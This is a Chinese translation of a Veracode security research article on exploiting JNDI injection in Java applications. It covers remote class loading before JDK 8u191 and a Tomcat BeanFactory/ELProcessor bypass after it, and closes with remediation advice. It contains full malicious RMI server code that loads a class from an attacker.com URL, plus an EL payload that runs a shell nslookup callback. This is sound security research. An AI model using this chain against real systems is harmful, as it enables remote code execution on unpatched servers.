Java中的JNDI注入利用
Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI)是允许客户端通过名称发现和查找数据及对象的JAVA API。这些对象会保存在不同的命名和目录服务中,例如远程方法调用(RMI),公共对象请求代理结果(CORBA),轻目录访问协议(LDAP),或域名服务。
换句话说,JNDI是一个简单JAVA API(例如InitialContext.lookup(String name)),仅接受一个String参数,如果该参数来自不受信任的源,它可能会导致通过远程类加载远程代码执行。
当请求对象的名称被攻击者控制,它可能将受害JAVA应用指向恶意的 rmi/ldap/coba 服务器并响应任意对象。如果这个对象是” javax.naming.Reference”类的实例,JNDI客户端尝试解析”classFactory”和” classFactoryLocation”属性。
如果"classFactory"值相对于目标JAVA应用是未知的,JAVA会通过" URLClassLoader "从"classFactoryLocation"位置中获取工厂字节码。
由于它是简单的,当'InitialContext.lookup'方法没有直接暴露给受污染的数据时利用JAVA漏洞它是非常好用的。在某些情况下,还可能通过反序列化或不安全反射攻击来实现。
漏洞代码示例:
@RequestMapping("/lookup") @Example(uri = {"/lookup?name=java:comp/env"}) public Object lookup(@RequestParam String name) throws Exception{ return new javax.naming.InitialContext().lookup(name); }
在JDK1.8.0_191之前的JNDI注入利用
通过请求URL "/lookup/?name=ldap://127.0.0.1:1389/Object",我们可以使漏洞服务器连接到我们控制的地址。要触发远程加载类,一个恶意的RMI服务器可以参考以下进行响应:
public class EvilRMIServer { public static void main(String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1097"); Registry registry = LocateRegistry.createRegistry(1097); //creating a reference with 'ExportObject' factory with the factory location of 'http://_attacker.com_/' Reference ref = new javax.naming.Reference("ExportObject","ExportObject","http://_attacker.com_/"); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); } }
由于"ExploitObject"对目标服务器是未知的,它的字节码将会从"http://_attacker.com_/ExploitObject.class"加载并执行,从而触发RCE。
当Oracle添加RMI代码库限制时,这个方法在Java 8u121上是有效的。在那之后,可以使用返回相同源的恶意LDAP服务器,如"A Journey from JNDI/LDAP manipulation to remote code execution dream land"研究中描述的那样。可以在Github中'Java Unmarshaller Security'项目找到代码示例。
两年后,在更新的Java 8u191中,Oracle 在LDAP向量中设置了相同的限制并发布了CVE-2018-3149,关掉了JNDI远程类加载的大门。然而,它仍然可以通过JNDI注入触发不受信任反序列化数据,但是利用很大程序上取决于现有的工具
在JDK 1.8.0_191上利用JNDI注入
从Java 8u191开始,当JNDI客户端接收到引用对象时,"classFactoryLocation"在RMI和LDAP中是不起作用的。另一方面,我们仍可以在"javaFactory"属性中指定任意工厂类。
该类将用于从攻击者控制的"javax.naming.Reference"类中提取出真实对象。它应该存在于目标的classpath中,实现"javax.naming.spi.ObjectFactory"并且至少有一个"getObjectInstance"方法:
public interface ObjectFactory { /** * Creates an object using the location or reference information * specified. * ... /* public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception; }
主要想法是在目标classpath中找到一个工厂,它通过引用的属性做一些危险的事情。在JDK和流行的类库中查找此方法的不同实现,我们发现利用时非常有趣。
Apache Tomcat中"org.apache.naming.factory.BeanFactory"包含通过反射创建Bean的逻辑:
public class BeanFactory implements ObjectFactory { /** * Create a new Bean instance. * * @param obj The reference object describing the Bean */ @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws NamingException { if (obj instanceof ResourceRef) { try { Reference ref = (Reference) obj; String beanClassName = ref.getClassName(); Class beanClass = null; ClassLoader tcl = Thread.currentThread().getContextClassLoader(); if (tcl != null) { try { beanClass = tcl.loadClass(beanClassName); } catch(ClassNotFoundException e) { } } else { try { beanClass = Class.forName(beanClassName); } catch(ClassNotFoundException e) { e.printStackTrace(); } } ... BeanInfo bi = Introspector.getBeanInfo(beanClass); PropertyDescriptor[] pda = bi.getPropertyDescriptors(); Object bean = beanClass.getConstructor().newInstance(); /* Look for properties with explicitly configured setter */ RefAddr ra = ref.get("forceString"); Map forced = new HashMap<>(); String value; if (ra != null) { value = (String)ra.getContent(); Class paramTypes[] = new Class[1]; paramTypes[0] = String.class; String setterName; int index; /* Items are given as comma separated list */ for (String param: value.split(",")) { param = param.trim(); /* A single item can either be of the form name=method * or just a property name (and we will use a standard * setter) */ index = param.indexOf('='); if (index >= 0) { setterName = param.substring(index + 1).trim(); param = param.substring(0, index).trim(); } else { setterName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1); } try { forced.put(param, beanClass.getMethod(setterName, paramTypes)); } catch (NoSuchMethodException|SecurityException ex) { throw new NamingException ("Forced String setter " + setterName + " not found for property " + param); } } } Enumeration e = ref.getAll(); while (e.hasMoreElements()) { ra = e.nextElement(); String propName = ra.getType(); if (propName.equals(Constants.FACTORY) || propName.equals("scope") || propName.equals("auth") || propName.equals("forceString") || propName.equals("singleton")) { continue; } value = (String)ra.getContent(); Object[] valueArray = new Object[1]; /* Shortcut for properties with explicitly configured setter */ Method method = forced.get(propName); if (method != null) { valueArray[0] = value; try { method.invoke(bean, valueArray); } catch (IllegalAccessException| IllegalArgumentException| InvocationTargetException ex) { throw new NamingException ("Forced String setter " + method.getName() + " threw exception for property " + propName); } continue; }
类"BeanFactory"创建任意Bean的实例并为所有属性调用它的setter方法。目标Bean类名,属性,和属性值全都来自于攻击者控制的引用对象。
目标类应该有一个public 无参构造方法和仅有一个”String”参数的public setter方法。实际上,这些setter方法不一定都是’set‘开头,就像"BeanFactory"包含围绕我们可以为任何参数指定任意setter名称的逻辑。
/* Look for properties with explicitly configured setter */ RefAddr ra = ref.get("forceString"); Map forced = new HashMap<>(); String value; if (ra != null) { value = (String)ra.getContent(); Class paramTypes[] = new Class[1]; paramTypes[0] = String.class; String setterName; int index; /* Items are given as comma separated list */ for (String param: value.split(",")) { param = param.trim(); /* A single item can either be of the form name=method * or just a property name (and we will use a standard * setter) */ index = param.indexOf('='); if (index >= 0) { setterName = param.substring(index + 1).trim(); param = param.substring(0, index).trim(); } else { setterName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1); }
这里神奇的属性是"forceString"。通过设置它,比如设置"x=eval",我们可以为属性’x’调用eval方法来代替’setX’。因此,使用"BeanFactory"类,我们可以通过默认构造方法创建任意类的实例,并使用一个"String"参数调用任一public方法。
其中最有可能的类就是"javax.el.ELProcessor"。在它的"eval"方法中,我们可以指定一个字符串来表示要执行的Java EL表达式。
package javax.el; ... public class ELProcessor { ... public Object eval(String expression) { return getValue(expression, Object.class); }
下面是一个恶意的表达式,它将执行恶意命令
{"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()")}
环环相扣
在补丁之后,LDAP和RMI几乎没有区别用于利用目的,为了简单我们将使用RMI
我们编写了自己的恶意RMI服务器用于响应精心设计"ResourceRef"对象
import java.rmi.registry.*; import com.sun.jndi.rmi.registry.*; import javax.naming.*; import org.apache.naming.ResourceRef; public class EvilRMIServerNew { public static void main(String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1097"); Registry registry = LocateRegistry.createRegistry(1097); //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code ref.add(new StringRefAddr("forceString", "x=eval")); //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows ref.add(new StringRefAddr("x", "\\"\\".getClass().forName(\\"javax.script.ScriptEngineManager\\").newInstance().getEngineByName(\\"JavaScript\\").eval(\\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\\")")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); } }
此服务器使用'org.apache.naming.ResourceRef'的序列化对象进行响应,并使用所有精心设计的属性去触发客户端所需要的行为。
在JAVA进程中触发JNDI解析
new InitialContext().lookup("rmi://127.0.0.1:1097/Object")
反序列化此对象时不会产生任何不良后果,但由于它仍然继承了"javax.naming.Reference",‘害者端’使用工厂"org.apache.naming.factory.BeanFactory"从引用中获取’真实’对象。
在此阶段,将触发模版赋值的远程代码执行,即'nslookup jndi.s.artsploit.com'命令将被执行。
这里唯一的限制是目标JAVA应用classpath中应该有一个来自Apache Tomcat的"org.apache.naming.factory.BeanFactory"类。但其它的应用服务器可能拥有其它危险函数的对象工厂。
解决方法
该问题实际上不包含在JDK或者Apache Tomcat的类库中,而是将用户可控数据传递给"InitialContext.lookup()"方法的自定义应用程序中,因此安装所有安全补丁的JDK版本中仍然存在安全风险。请记住大多数情况下,其它漏洞(比如”不受信任的反序列化数据”)也可导致JNDI解析。使用源代码审计来防止这些漏洞始终是一个好主意。
原文链接:https://www.veracode.com/blog/research/exploiting-jndi-injections-java